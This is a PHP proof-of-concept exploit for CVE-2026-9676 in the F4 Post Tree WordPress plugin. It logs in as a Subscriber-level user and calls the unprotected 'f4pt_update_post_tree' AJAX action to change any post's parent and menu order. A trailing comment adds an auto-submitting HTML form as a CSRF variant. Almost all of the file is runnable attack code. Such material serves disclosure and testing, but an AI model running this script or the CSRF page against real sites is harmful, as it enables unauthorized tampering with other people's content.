<?php
/**
* CVE-2026-9676 PoC - F4 Post Tree WordPress Plugin
* Missing Capability Check & CSRF/Nonce Verification on AJAX action
*
* This PoC demonstrates how a Subscriber-level authenticated user
* can modify the parent and menu order of arbitrary posts via
* the unprotected AJAX endpoint in F4 Post Tree < 2.0.5
*/
// Target WordPress site URL
$target_url = 'https://target-wordpress-site.com';
// Step 1: Authenticate as a Subscriber-level user
// Obtain session cookies by logging in
$login_url = $target_url . '/wp-login.php';
$cookie_jar = tempnam(sys_get_temp_dir(), 'wp_cookies_');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => 'subscriber_user',
'pwd' => 'subscriber_password',
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1',
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "[*] Logged in as Subscriber-level user\n";
// Step 2: Exploit the unprotected AJAX action to modify post hierarchy
// The vulnerable AJAX action does not check capabilities or nonce
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Parameters to modify a target post's parent and menu order
$post_id = 123; // Target post ID to modify
$new_parent_id = 456; // New parent post ID
$new_menu_order = 1; // New menu order value
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'f4pt_update_post_tree', // Vulnerable AJAX action name
'post_id' => $post_id,
'parent_id' => $new_parent_id,
'menu_order' => $new_menu_order,
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] AJAX request sent (HTTP $http_code)\n";
echo "[*] Response: $result\n";
if ($http_code === 200) {
echo "[+] Post #$post_id hierarchy modified successfully!\n";
echo "[+] New parent: #$new_parent_id, Menu order: $new_menu_order\n";
} else {
echo "[-] Exploit may have failed\n";
}
// Cleanup
unlink($cookie_jar);
/**
* CSRF Variant (No authentication required if admin visits malicious page):
*
* <html>
* <body onload="document.forms[0].submit()">
* <form action="https://target-wordpress-site.com/wp-admin/admin-ajax.php" method="POST">
* <input type="hidden" name="action" value="f4pt_update_post_tree" />
* <input type="hidden" name="post_id" value="123" />
* <input type="hidden" name="parent_id" value="456" />
* <input type="hidden" name="menu_order" value="1" />
* </form>
* </body>
* </html>
*/